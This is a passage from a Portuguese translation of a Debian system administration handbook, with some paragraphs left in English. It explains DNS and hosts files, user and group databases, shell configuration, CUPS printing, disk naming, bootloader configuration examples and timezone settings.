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Os servidores DNS a serem usados são indicados no /etc/resolv.conf, um por linha, com a
palavra-chave nameserver seguida por um endereço IP, como no exemplo a seguir:

nameserver 212.27.32.176
nameserver 212.27.32.177
nameserver 8.8.8.8

Note que o arquivo /etc/resolv.conf pode ser manipulado automaticamente (e sobrescrito)
quando a rede é gerenciada pelo NetworkManager ou configurada via DHCP.

O arquivo /etc/hosts

Se não houver nenhum nome do servidor na rede local, é ainda possível estabelecer uma pe-
quena tabela de mapeamento de endereços IP e nomes de máquina no /etc/hosts, normal-
mente reservados para as estações da rede local. A sintaxe deste arquivo é muito simples: cada
linha indica um endereço IP específico, seguido pela lista de quaisquer denominações associadas
(sendo o primeiro ”completamente qualificado”, ou seja, inclui o nome de domínio).
Este arquivo está disponível mesmo durante interrupções de rede ou quando os servidores DNS
são inacessíveis, mas realmente só serão úteis quando duplicados em todas as máquinas na rede.
A menor alteração em correspondência exigirá o arquivo a ser atualizado em todos os lugares.
É por isso que /etc/hosts geralmente contém apenas as entradas mais importantes.
Este arquivo será suficiente para uma rede pequena sem conexão com a internet, mas com 5
máquinas ou mais, é recomendado a instalação de um servidor DNS adequado.

DICA

Ignorando o DNS
Desde que os aplicativos verificar o /etc/hosts antes de consultar o DNS, é possí-
vel incluir informações que é diferente do que o DNS retornaria e, portanto, ignorar
a resolução de nome DNS com base em normal.

Isso permite que, em caso de alterações DNS ainda não propagadas, para testar
o acesso a um Web site com o nome pretendido, mesmo que este nome não está
devidamente mapeado para o endereço IP correto ainda.

Outro uso possível é o redirecionamento de tráfico feito de umamáquina específica
para o localhost, evitando assim qualquer comunicação com a dada máquina. Por
exemplo, nomes de hosts de servidores dedicados a fornecer propaganda podem
ser desviados o que evitaria estas propagandas tornando a navegação mais fluida
e menos dispersa.

8.4. Usuário e grupo bancos de dados

A lista de usuários é normalmente armazenada no /etc/passwd, enquanto o /etc/shadow ar-
mazena senhas criptografadas. Ambos são arquivos de texto, em um formato relativamente
simples, que podem ser lidos e modificados com um editor de texto. Cada usuário está listado lá
em uma linha com vários campos separados por dois-pontos (“:”).
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NOTA

Editando arquivos do
sistema

Os arquivos de sistema mencionados neste capítulo são todos os arquivos de texto
simples e podem ser editados com um editor de texto. Considerando sua impor-
tância para a funcionalidade de núcleo do sistema, é sempre uma boa idéia tomar
precauções extras ao editar arquivos do sistema. Primeiro, sempre faça uma cópia
ou backup de um arquivo de sistema antes de abrir ou alterar isso. Em segundo
lugar, em servidores ou máquinas, onde mais de uma pessoa potencialmente pode-
ria acessar o mesmo arquivo ao mesmo tempo, tome medidas extras para proteção
contra corrupção de arquivo.

Por este motivo, é suficiente usar o comando vipw para editar o arquivo /etc/
passwd, ou vigr para editar /etc/group. Estes comandos travam o arquivo em
questão antes de executar o editor de texto (o vi por padrão , amenos que a variável
de ambiente EDITOR tenha sido alterada). A opção -s nestes comandos permite a
edição do arquivo shadow correspondente.

DE VOLTA AO BÁSICO

Crypt, uma função de
mão única

crypt é uma função unidirecional que transforma uma string (A) em outra string
(B) de forma que A não possa ser derivada de B. A única forma de identificar A
é testando todos os valores possíveis, verificando cada um para determinar se a
transformação pela função vai produzir B ou não. Ele usa até 8 caracteres como
entrada (string A) e gera uma string de 13 caracteres ASCII, imprimível (string B).

8.4.1. Lista de Usuários: /etc/passwd

Aqui está uma lista de campos do arquivo /etc/passwd:

• login, por exemplo rhertzog;
• password: é uma senha criptografada por uma função unidirecional (crypt), que se baseia
emDES,MD5, SHA-256 ou SHA-512. O valor especial “x” indica que a senha criptografada
é armazenada em /etc/shadow;

• uid: identificar numérico único para cada usuário;
• gid:número único para o grupo principal do usuário (O Debian cria, por padrão, um grupo
específico para cada usuário);

• GECOS: campo de dados contendo normalmente o nome completo de usuário;
• diretório de login, atribuído ao usuário para armazenar arquivos pessoais (a variável de
ambiente $HOME geralmente aponta para ele);

• programa para executar no login. Em geral é um interpretador de comandos (shell), dei-
xando o usuário com ”rédea solta”. Se você especificar /bin/false (que não faz nada e
devolve o controle imediatamente), o usuário não vai conseguir fazer login.

DE VOLTA AO BÁSICO

Grupo Unix
Um grupo do Unix é uma entidade que contém vários usuários de forma que eles
possam compartilhar arquivos facilmente usando o sistema de permissões inte-
grado (com os benefícios dos mesmos direitos). Você também pode restringir o
uso de certos programas a um grupo específico.
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8.4.2. O Oculto e Criptografo Arquivo de Senhas: /etc/shadow

O arquivo /etc/shadow contém os seguintes campos:

• login;

• senha criptografada;

• diversos campos controlam a expiração da senha.

DOCUMENTAÇÃO

formatos de arquivos de
/etc/passwd, /etc/shadow e

/etc/group

Estes formatos estão documentados nas seguintes páginas demanuais: passwd(5),
shadow(5), e group(5).

SEGURANÇA

/etc/shadow segurança de
arquivos

/etc/shadow, ao contrário do seu alter-ego, /etc/passwd, não pode ser lido por
usuários normais. Qualquer senha criptografada armazenada em /etc/passwd
pode ser lida por todo mundo; um cracker pode tentar ”quebrar” (ou revelar) uma
senha através de um dos vários métodos ”força bruta” que, de forma geral, tantam
adivinhar uma combinação muito usada de caracteres. Este ataque — chamado de
”ataque de dicionário” — não é mais possível em sistemas usando o /etc/shadow.

8.4.3. Modificando uma Conta de Usuário Existente ou Senha

Os seguintes comandos permitem amodificação das informações armazenadas em campos espe-
cíficos do banco de dados do usuário: passwd permite que um usuário comum altere sua senha,
que por sua vez, atualiza o arquivo /etc/shadow; chfn(CHange Full Name), reservado para o
superusuário (root), modifica o campo GECOS.chsh (CHange SHell) permite que o usuário al-
tere seu shell de login, contudo, as opções disponíveis estarão limitadas as opções listadas em
/etc/shells; o administrador, por outro lado, não tem essa restrição e pode definir o shell para
qualquer programa de sua escolha.
Finalmente, o comando chage (CHange AGE) permite ao administrador alterar as configurações
de expiração da senha (a opção -l user irá listar as configurações corrente). Vocẽ também pode
forçar a expiração da senha usando o comando passwd -e user, o qual irá requerer que o usuá-
rio altere sua senha na próxima vez que iniciar uma sessão.

8.4.4. Desabilitando uma Conta

Você pode necessitar “desabilitar uma conta” (bloquear umusuário), como umamedida discipli-
nar, para propósitos de uma investigação, ou simplesmente no caso de uma prolongada ou defi-
nitiva ausência de um usuário. Uma conta desabilitada significa que o usuário não pode iniciar
uma sessão ou ganhar acesso a máquina. A conta permanece intacta na máquina e nenhum ar-
quivo ou dado é apagado; ela é simplesmente inacessível. Isso é feito usando o comando passwd
-l user (bloqueio). Reabilitar a conta é feito de maneira similar, com a opção -u (desbloqueio).
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APROFUNDANDO

NSS e banco de dados do
sistema

Ao invés de usar os arquivos usuais para gerenciar listas de usuários e grupos, você
pode usar outros tipos de banco de dados, como LDAP ou db, usando o módulo
NSS (Name Service Switch) apropriado. Os módulos usados estão listados no ar-
quivo /etc/nsswitch.conf, sob as entradas passwd, shadow e group. Veja Se-
ção 11.7.3.1, “Configurando o NSS” [302] para um exemplo específico de uso do
módulo NSS pelo LDAP.

8.4.5. Lista de Grupo: /etc/group

Grupos são listados no arquivo /etc/group, um banco de dados de texto simples emum formato
similar ao arquivo /etc/passwd, com os seguintes campos:

• nome do grupo;

• senha (opcional): Isso só é usado para participar de um grupo quando não se é um mem-
bro usual (com os comandos newgrp ou sg, veja barra lateral Trabalhando com grupos
diversos [167]);

• gid: identificar numérico único para cada grupo;

• lista de membros: lista de nomes de usuários que são membros do grupo, separados por
vírgulas.

DE VOLTA AO BÁSICO

Trabalhando com grupos
diversos

Cada usuário pode ser membro de muitos grupos; um deles é seu “grupo principal”.
O grupo principal de umusuário é, por padrão, criado durante a configuração inicial
do usuário. Por padrão, cada arquivo que o usuário criar pertencerá a eles, assim
como ao seu grupo principal. Isso nem sempre é desejável; por exemplo, quando o
usuário precisa trabalhar em um diretório compartilhado por um grupo diferente
de seu grupo principal. Neste caso, o usuário precisa alterar seu grupo principal
usando os seguintes comandos: newgrp, o qual inicia um novo shell, ou sg, o qual
simplesmente executa um comando usando o grupo alternativo fornecido. Esses
comandos também permitem ao usuário participar de um grupo o qual ele não
pertence. Se o grupo é protegido por senha, ele terá de fornecer a senha apropriada
antes de o comando ser executado.

Alternativamente, o usuário pode definir o bit setgid no diretório, o que causa
aos arquivos criados neste diretório serem automaticamente pertencentes ao grupo
correto. Para mais detalhes, veja a barra lateral setgid diretório e sticky bit [209].

O comando id exibe o estado corrente de um usuário, com sua identidade pes-
soal(variável uid), grupo principal corrente (variável gid), e a lista de grupos aos
quais pertence (variável groups).

The addgroup and delgroup commands add or delete a group, respectively. The groupmod com-
mandmodifies a group’s information (its gid or identifier). The command gpasswd group chan-
ges the password for the group, while the gpasswd -r group command deletes it.
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DICA

getent

O comando getent (obter entradas) faz a checagem padrão do banco de dados
do sistemas, usando as funções de biblioteca apropriadas, as quais, por sua vez,
chamam os módulos NSS configurados no arquivo /etc/nsswitch.conf. O co-
mando recebe um ou dois argumentos: o nome do banco de dados a ser checado, e
uma possível chave de busca. Assim, o comando getent passwd rhertzog dará
as informações do banco de dados do usuário em relação ao usuáriorhertzog.

8.5. Criação de Contas

Uma das primeiras ações que um administrador precisa fazer enquanto configura uma nova
máquina é criar contas de usuário. Isso é tipicamente feito usando o comando adduser o qual
recebe um nome-de-usuário para o novo usuário a ser criado, como um argumento.
O comando adduser faz algumas perguntas antes de criar a conta, mas seu uso é bastante sim-
ples. Seu arquivo de configuração, /etc/adduser.conf, inclui todas as configurações interes-
santes: ele pode ser usado para automaticamente definir uma cota para cada novo usuário, cri-
ando um modelo de usuário, ou para alterar a localização das contas de usuário; essa última é
raramente útil, mas se torna interessante quando você tem um grande número de usuários e
quer dividir suas contas por vários discos, por exemplo. Você pode também escolher um shell
padrão diferente.

DE VOLTA AO BÁSICO

Cota
O termo ”cota” se refere a um limite de recursos da máquina que um usuário é
permitido usar. Isto é frequentemente se refere ao espaço de disco.

A criação de uma conta povoa o diretório home do usuário com o conteudo do template de
/etc/skel/. Isso provê ao usuário um conjunto padrão de diretórios e arquivos de configuração.
Em alguns casos, será útil adicionar um usuário em um grupo (diferente do grupo principal
padrão) em razão de garantir a ele permissões adicionais. Por exemplo, um usuário que seja in-
cluído no grupo audio pode acessar dispositivos de audio (veja barra lateral Permissão de acesso
a dispositivos [168]). Isso pode ser alcançável com um comando como o adduser usuário
grupo.

DE VOLTA AO BÁSICO

Permissão de acesso a
dispositivos

Cada dispositivo periférico de hardware é representado sob o Unix como um ar-
quivo especial, usualmente armazenado na árvore de arquivos sob /dev/ (DEVices).
Existem dois tipos de arquivos especiais, de acordo com a natureza do dispositivos:
arquivos “modo caracter” e “modo bloco”, cada modo permite apenas um limitado
número de operações. Enquanto o modo caracter limita a interação com operações
de leitura/escrita, o modo bloco também permite a busca dentro dos dados dispo-
níveis. Finalmente, cada arquivo especial é associado com dois numeros (“major”
and “minor”) que identifica o dispositivo no kernel de maneira única. Esse tipo de
arquivo, criado pelo comando mknod, simplesmente contém um nome simbólico (e
mais amigável para humanos).

As permissões de um arquivo especial mapeiam as permissões necessárias para
acessar o próprio dispositivo. Assim„um arquivo como o /dev/mixer, represen-
tando o mixador de audio, apenas tem permissões de leitura/escrita para o usuário
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root e membros do grupo audio. Apenas esses usuários podem operar o mixador
de audio.

Deve ser notado que a combinação de udev, consolekit e policykit pode somar
permissões adicionais a usuários fisicamente conectados ao console (e não através
da rede) acessarem certos dispositivos.

8.6. Ambiente Shell

Interpretadores de comandos (ou shells) podem ser o primeiro ponto de contato do usuário
com o computador, e eles devem portanto ser bastante amigáveis. a maioria deles usa scripts de
inicialização que permitem a configuração de seus comportamentos (completação automática,
texto de prompt, etc).
bash, o shell padrão, usa o script de inicialização /etc/bash.bashrc para shells ”interativos”,
e o /etc/profile para shells de ”login”.

BACK TO BASICS

shell de login e shell
(não-)interativo

Em termos simples, um shell de login é invocado quando você se autentica (log in)
no console tanto localmente quanto remotamente via ssh, ou quando você executa
um comando bash --login explicitamente. Independente de ser um shell de login
ou não, um shell pode ser interativo (num terminal estilo xterm, por exemplo); ou
não-interativo (quando executando um script).

DISCOVERY

Outros shells, outros
scripts

Each command interpreter has a specific syntax and its own configuration files.
Thus, zsh uses /etc/zshrc and /etc/zshenv; tcsh uses /etc/csh.cshrc, /etc/
csh.login and /etc/csh.logout. The man pages for these programs document
which files they use.

Para o bash, é útil ativar “preenchimento automático” no arquivo /etc/bash.bashrc (simples-
mente descomentando algumas linhas).

DE VOLTA AO BÁSICO

Preenchimento
automático

Muitos interpretadores de comando fornecem o recurso de complementação, o qual
permite ao shell completar automaticamente um nome de comando parcialmente
digitado ou argumento quando o usuário pressiona a tecla Tab. Isso faz com que
os usuários trabalhem com mais eficiência e sejam menos propensos a erros.

This function is very powerful and flexible. It is possible to configure its behavior
according to each command. Thus, the first argument following apt will be propo-
sed according to the syntax of this command, even if it does not match any file (in
this case, the possible choices are install, remove, upgrade, etc.).

DE VOLTA AO BÁSICO

O til, um atalho para o
HOME

O til geralmente é usado para indicar o diretório o qual a variável de ambiente, HOME,
aponta (sendo o diretório home do usuário, como por exemplo /home/rhertzog/).
Interpretadores de comando automaticamente fazem a substituição: ~/hello.txt
se torna /home/rhertzog/hello.txt.
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O til também permite acesso para o diretório home de outro usuário. Assim, ~rmas/
bonjour.txt é sinônimo de /home/rmas/bonjour.txt.

Em adição a esses scripts comuns, cada usuário pode criar seu próprio ~/.bashrc e ~/.bash_
profile para configurar seu shell. Asmudançasmais comuns são a adição de ”aliases”; palavras
que são automaticamente substituidas pela execução de umcomando, o que faz ficarmais rápido
a invocação desse comando. Por exemplo, você poderia criar o ”alias” la para o comando ls
-la | less; assim você tem apenas que digitar la para inspecionar o conteúdo do diretório
detalhadamente.

DE VOLTA AO BÁSICO

Variáveis de ambiente
Variáveis de ambiente permitem o armazenamento de configurações globais para
o shell ou vários outros programas executados. Elas são contextuais (cada processo
tem seu próprio conjunto de variáveis de ambiente) porémhereditárias. Essa última
característica oferece a possibilidade para o shell de login declarar variáveis que
serão repassadas para todos os programas que ele executa.

Definir as variáveis de ambiente padrão é um elemento importante da configuração do shell.
Deixando de lado as variáveis específicas do shell, é preferível colocá-las no arquivo /etc/
environment, já que ele é usado por vários programas passíveis de iniciar uma sessão do shell.
Variáveis tipicamente definidas lá incluem ORGANIZATION, a qual usualmente contém o nome
da compania ou organização, e HTTP_PROXY, a qual indica a existência e localização de um proxy
HTTP.

DICA

Todos os shells
configurados

identicamente

Os usuários geralmente querem configurar seu login e shell interativo de maneira
similar. Para fazer isso, eles escolhem interpretar (ou “fonte”) o contéudo de
~/.bashrc no arquivo ~/.bash_profile. É possível fazer a mesma coisa com ar-
quivos comuns a todos os usuários (referenciando /etc/bash.bashrc a partir de
/etc/profile).

8.7. Configuração da Impressora

A configuração de impressora geralmente causavamuitas dores de cabeça para administradores
e usuários. Essas dores de cabeça são agora quase que uma coisa do passado, obrigado ao cups, o
servidor de impressão usando o protocolo IPP (Internet Printing Protocol).
This program is divided over several Debian packages: cups is the central print server; cups-bsd
is a compatibility layer allowing use of commands from the traditional BSD printing system (lpd
daemon, lpr and lpq commands, etc.); cups-client contains a group of programs to interact with
the server (block or unblock a printer, view or delete print jobs in progress, etc.); and finally,
printer-driver-gutenprint contains a collection of additional printer drivers for cups.
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COMUNIDADE

CUPS
CUPS (Common Unix Printing System) é um projeto (e uma marca registrada) ge-
renciado pela Apple, Inc.

è http://www.cups.org/

Após a instalação desses diferentes pacotes, cups é facilmente administrado através da interface
web acessível pelo endereço local: http://localhost:631/. Lá você pode adicionar impressoras (in-
cluindo impressoras na rede), remover, e administrá-las. Você tambémpode administrar o cups
com a interface gráfica fornecida pelo ambiente de área de trabalho. Finalmente, existe também
a interface gráfica system-config-printer (a partir do pacote Debian de mesmo nome).

NOTA

Obsolescência do
/etc/printcap

cups no longer uses the /etc/printcap file, which is now obsolete. Programs that
rely upon this file to get a list of available printers will, thus, fail. To avoid this
problem, delete this file and make it a symbolic link (see sidebar Links simbólicos
[177]) to /run/cups/printcap, which is maintained by cups to ensure compatibi-
lity.

8.8. Configurando o carregador de boot (bootloader)

Isso provavelmente já é funcional, mas é sempre bom saber configurar e instalar o carregador
de inicialização em caso dele desaparecer da MBR (Master Boot Record). Isso pode ocorrer de-
pois da instalação de outro sistema operacional, como o Windows. A seguinte informação pode
também ajudar você a modificar a configuração do carregador de inicialização caso necessário.

DE VOLTA AO BÁSICO

Registro mestre de
inicialização

AMBR (Master Boot Record) ocupa os primeiros 512 bytes do primeiro disco rígido,
e é a primeira coisa carregada pela BIOS para entregar o controle a um programa
capaz de inicializar o sistema operacional desejado. Em geral, um carregador de
inicialização fica instalado dentro da MBR, removendo seu conteúdo prévio.

8.8.1. Identificando os Discos

CULTURA

udev e /dev/

Odiretório /dev/ tradicionalmente hospeda os chamados arquivos “especiais”, des-
tinados a representar os periféricos do sistema (veja barra lateral Permissão de
acesso a dispositivos [168]). Tempos atrás, era usado para armazenar todos os ar-
quivos especiais que potencialmente poderiam ser usados. Essa abordagem tinha
uma série de inconvenientes entre os quais o fato de restringir o número de dis-
positivos que alguém poderia usar (devido a lista de nomes codificados), e que era
impossível saber quais arquivos especiais eram realmente úteis.

Atualmente, o gerenciamento de arquivos especiais é completamente dinâmico e
combina mais com a natureza de encaixe a quente dos dispositivos. O núcleo coo-
pera com o udev para criar e apagar os dispositovs quando necessário a medida em
que tais dispositivos aparecem ou desaparecem. Por esta razão, /dev/ não precisa
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ser persistente e é portanto um sistema de arquivos em RAM que inicia vazio e
contém apenas entradas relevantes.

O kernel comunica um monte de informação sobre qualquer novo dispositivo adi-
cionado e define um par de números major/minor para identificá-lo. Com isso, o
udevd pode criar um arquivo especial sob o nome e com as permissões que ele qui-
ser. Ele também pode criar apelidos (aliases) e realizar ações adicionais (tais como
inicialização ou tarefas de registro). O comportamento do udevd é comandado por
um grande conjunto de regras (customizáveis).

Com nomes atribuídos dinamicamente, você pode assim manter um mesmo nome
para um determinado dispositivo, independentemente do conector utilizado ou a
ordem da conexão, o que é especialmente útil quando você usa vários periféricos
USB. A primeira partição no primeiro disco rígido pode então ser chamada de /dev/
sda1 por questões de compatibilidade, ou /dev/root-partition se você preferir,
ou ainda as duas opções ao mesmo tempo já que o udevd pode ser configurado
para automaticamente criar uma ligação simbólica.

Antigamente, algunsmódulos do kernel eram carregados automaticamente quando
você tentava acessar o arquivo do dispositivo correspondente. Esse não é mais
o caso, e o arquivo especial do periférico não mais existe antes do carregamento
do módulo, o que não é um grande problema, já que a maioria dos módulos são
carregados na inicialização, graças à detecção automática de hardware. Porémpara
periféricos não detectados (como drives de discomuito antigos oumouse PS/2), isso
não funciona. Considere adicionar os módulos, floppy, psmouse e mousedev no
/etc/modules para forçar o carregamento deles na inicialização.

A configuração do carregador de inicialização tem que identificar os diferentes discos rígidos
e suas partições. O Linux usa arquivos especiais “block” armazenados no diretório /dev/, para
esse propósito. Desde o Debian Squeeze, o esquema de nomeação para discos rígidos foi unificado
pelo kernel Linux, e todos os discos rígidos (IDE/PATA, SATA, SCSI, USB, IEEE 1394) são agora
representados por /dev/sd*.
Cada partição é representada por seu número no disco no qual reside: por exemplo, /dev/sda1
é a primeira partição do primeiro disco, e /dev/sdb3 é a terceira partição do segundo disco.
A arquitetura PC (ou “i386”, incluíndo seu primomais moço ”amd64”) a muito tem sido limitada
a usar o formato de tabela de partição ”MS-DOS”, que apenas permite quatro partições “prima-
rias” por disco. Para ir além desta limitação, sob esse esquema, uma delas tem que ser criada
como uma partição “estendida”, e assim conter partições “secundárias” adicionais. Essas parti-
ções secundárias são numeradas a partir de 5. Assim a primeira partição secundária poderia ser
/dev/sda5, seguida por /dev/sda6, etc.
Outra restrição de um formato de tabela de partição MS-DOS é que ela apenas permite discos de
até 2 TiB de tamanho, o que está se tornando um problema real com os discos recentes.
Um novo formato de tabela de partição chamado GPT relaxa essas restrições quanto ao número
de partições (ele permite até 128 partições quando usando configurações padrão) e no tamanho
dos discos (até 8 ZiB, o que é mais de 8 bilhões de terabytes). Se você tem a intenção de criar
muitas partições físicas no mesmo disco, você dever portanto, garantir que está sendo criada a
tabela de partição no formato GPT durante o particionamento de seu disco.
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Nem sempre é fácil lembrar qual disco está conectado a qual controladora SATA, ou na terceira
posição da cadeia SCSI, especialmente a partir da nomeação de discos rígidos ”hotplugged” (que
inclui, entre outros, a maioria dos discos SATA e discos externos) que podem mudar de uma
inicialização para outra. Felizmente, o udev cria, em adição ao /dev/sd*, ligações simbólicas
com um nome fixo, o qual você poderia, então, usar se você deseja identificar um disco rígido
demaneira não ambigua. Essas ligações simbólicas são armazenadas em /dev/disk/by-id. Em
uma máquina com dois discos físicos, por exemplo, pode-se encontrar o seguinte:
mirexpress:/dev/disk/by-id# ls -l
total 0
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 ->

å ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-

å part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-

å part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 ->

å ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 ->

å ../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 ->

å ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-

å part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-

å part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 ->

å ../../sdc
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 ->

å ../../sdc1
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 ->

å ../../sdc2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#

Note que alguns discos são listados várias vezes (porquê eles se comportam simultaneamente
como discos ATA e discos SCSI), porém a informação relevante são principalmente os números
”model” e ”serial” dos discos, a partir dos quais você pode encontrar o arquivo periférico.
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Os arquivos de configuração de exemplo dados nas seções seguintes são baseados na mesma
configuração: um único disco SATA, onde a primeira partição é uma antiga instalação Windows
e a segunda contém o Debian GNU/Linux.

8.8.2. Configurando o LILO

O LILO (LInux LOader) é o carregador de inicialização mais antigo — sólido, porém rústico. Ele
escreve o endereço físico do kernel a ser carregado naMBR, o que faz comque a cada atualização
do LILO (ou de seu arquivo de configuração) deva ser seguida pelo comando lilo. Esquecendo
de fazer, isso fará com que o sistema seja incapaz de inicializar, se o antigo kernel foi removido
ou substituído, já que o novo não estará no mesmo local no disco.
O arquivo de configuração do LILO é o /etc/lilo.conf; um arquivo simples para configurações
padrão é ilustrado no exemplo abaixo.

Exemplo 8.4 LILO arquivo de configuração

# The disk on which LILO should be installed.
# By indicating the disk and not a partition.
# you order LILO to be installed on the MBR.
boot=/dev/sda
# the partition that contains Debian
root=/dev/sda2
# the item to be loaded by default
default=Linux

# the most recent kernel image
image=/vmlinuz
label=Linux
initrd=/initrd.img
read-only

# Old kernel (if the newly installed kernel doesn’t boot)
image=/vmlinuz.old
label=LinuxOLD
initrd=/initrd.img.old
read-only
optional

# only for Linux/Windows dual boot
other=/dev/sda1
label=Windows
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8.8.3. Configuração do GRUB 2

GRUB (GRand Unified Bootloader) é mais recente. Não é necessário invocá-lo após cada atuali-
zação do; o GRUB sabe como ler o sistema de arquivos e achar a posição do kernel no disco por
conta própria. Para instalá-lo na MBR do primeiro disco, simplesmente digite grub-install
/dev/sda.

NOTA

Nomes dos discos para o
GRUB

O GRUB pode identificar discos rígidos apenas com base em informações forne-
cidas pela BIOS. (hd0) corresponde ao primeiro disco assim detectado, (hd1) o
segundo, etc. Na maioria dos casos, essa ordem corresponde exatamente a ordem
usual dos discos sob o Linux, mas problemas podem ocorrer quando você associa
discos SCSI e IDE. O GRUB armazena as correspondências que ele detecta no ar-
quivo /boot/grub/device.map. Se você encontrar erros lá (porquê você sabe que
sua BIOS detecta drives em uma ordem diferente), corrija elas manualmente e exe-
cute grub-install novamente. O grub-mkdevicemap pode ajudar na criação de
um arquivo device.map a partir do qual se pode iniciar.

As partições também tem um nome específico para o GRUB. Quando você usa
partições “classical” no formato MS-DOS, a prrimeira partição no disco é rotulada
como, (hd0,msdos1), a segunda (hd0,msdos2), etc.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated
from others. Be careful not to modify it by hand, since such local modifications will be lost
the next time update-grub is run (which may occur upon update of various packages). The
most common modifications of the /boot/grub/grub.cfg file (to add command line parame-
ters to the kernel or change the duration that the menu is displayed, for example) are made th-
rough the variables in /etc/default/grub. To add entries to the menu, you can either create
a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex
configurations, you canmodify other files in /etc/grub.d, or add to them; these scripts should
return configuration snippets, possibly by making use of external programs. These scripts are
the ones that will update the list of kernels to boot: 10_linux takes into consideration the ins-
talled Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober
lists other operating systems (Windows, OS X, Hurd).

8.8.4. Para Computadores Macintosh (PowerPC): Configurando Yaboot

Yaboot é o carregador de boot usado por computadores Macintosh antigos que usam processa-
dores PowerPC. Eles não iniciam como PCs, mas sim usando uma partição “bootstrap”, a partir
da qual a BIOS (ou OpenFirmware) executa o carregador, e na qual o programa ybin instala o
yaboot e seu arquivo de configuração. Você vai precisar executar apenas este comando de novo
se o /etc/yaboot.conf for modificado (ele é duplicado na partição bootstrap, e o yaboot sabe
como encontrar a posição do núcleo (kernel) nos discos).
Antes de executar o ybin, você deve primeiro ter um /etc/yaboot.conf válido. O seguinte é
um exemplo de uma configuração minimalista.
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Exemplo 8.5 Arquivo de configuração Yaboot

# bootstrap partition
boot=/dev/sda2
# the disk
device=hd:
# the Linux partition
partition=3
root=/dev/sda3
# boot after 3 seconds of inactivity
# (timeout is in tenths of seconds)
timeout=30

install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot

# last kernel installed
image=/vmlinux

label=linux
initrd=/initrd.img
read-only

# old kernel
image=/vmlinux.old

label=old
initrd=/initrd.img.old
read-only

# only for Linux/Mac OSX dual-boot
macosx=/dev/sda5

# bsd=/dev/sdaX and macos=/dev/sdaX
# are also possible

8.9. Outras Configurações: Sincronização de tempo, Logs, Comparti-
lhando acesso…

Os muitos elementos listados nesta seção são importantes para quem quer dominar todos os as-
pectos de configuração de um sistema GNU/Linux. Eles são, contudo, tratados superficialmente
e frequentemente vão te remeter à documentação.
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8.9.1. Região

DE VOLTA AO BÁSICO

Links simbólicos
Uma ligação simbólica é um ponteiro para outro arquivo. Quando você a acessa, o
arquivo para o qual ela aponta é aberto. A remoção da ligação não irá causar o apa-
gar do arquivo para o qual ela aponta. Da mesma forma, ela não tem sua própria
configuração de permissões, mas mantém as permissões de seu alvo. Finalmente,
ela pode apontar para qualquer tipo de arquivo: diretórios, arquivos especiais (soc-
kets, named pipes, device files, etc.), e até mesmo outras ligações simbólicas.

O comando ln -s alvo nome-da-ligação cria uma ligação simbólica, chamada
nome-da-ligação, apontando para alvo.

Se o alvo não existir, então a ligação estará “quebrada” e acessá-la irá resultar em
um erro, indicando que o arquivo alvo não existe. Se a ligação aponta para ou-
tra ligação, você terá uma “corrente” de ligações que se tornará em um “ciclo” se
um dos alvos apontar para um de seus antecessores. Neste caso, ao acessar uma
das ligações do ciclo irá resultar em um erro específico (“muitos níveis de ligações
simbólicas”); isso significa que o kernel desistiu após várias voltas pelo ciclo.

O ”timezone”, configurado durante a instalação inicial, é um item da configuração do pacote
tzdata. Para modificá-lo, use o comando dpkg-reconfigure tzdata, o qual permite a você es-
colher o ”timezone” a ser usado de maneira interativa. Sua configuração é armazenada no ar-
quivo /etc/timezone. Adicionalmente, o arquivo correspondente no diretório /usr/share/
zoneinfo é copiado para /etc/localtime; esse arquivo contém as regras que governam as da-
tas aonde o horário de verão é ativado, para países que o usam.
Quando você precisar alterar temporariamente o fuso-horário (timezone), use a variável de am-
biente TZ, a qual tem prioridade sobre a configuração padrão do sistema:
$ date
Thu Feb 19 11:25:18 CET 2015
$ TZ=”Pacific/Honolulu” date
Thu Feb 19 00:25:21 HST 2015

NOTA

Relógio do sistema,
relógio de hardware

Existem duas fontes de horário em um computador. A placa mãe do computador
tem um relógio de ”hardware”, chamado “CMOS clock”. Esse relógio não é muito
preciso, e provê tempos de acesso muito lento. O kernel do sistema operacional
tem o seu próprio, o relógio de software, o qual mantém atualizado através de
seus próprios meios (possivelmente com a ajuda de servidores de horário, veja Se-
ção 8.9.2, “Sincronização de Tempo” [178]). Esse relógio do sistema é geralmente
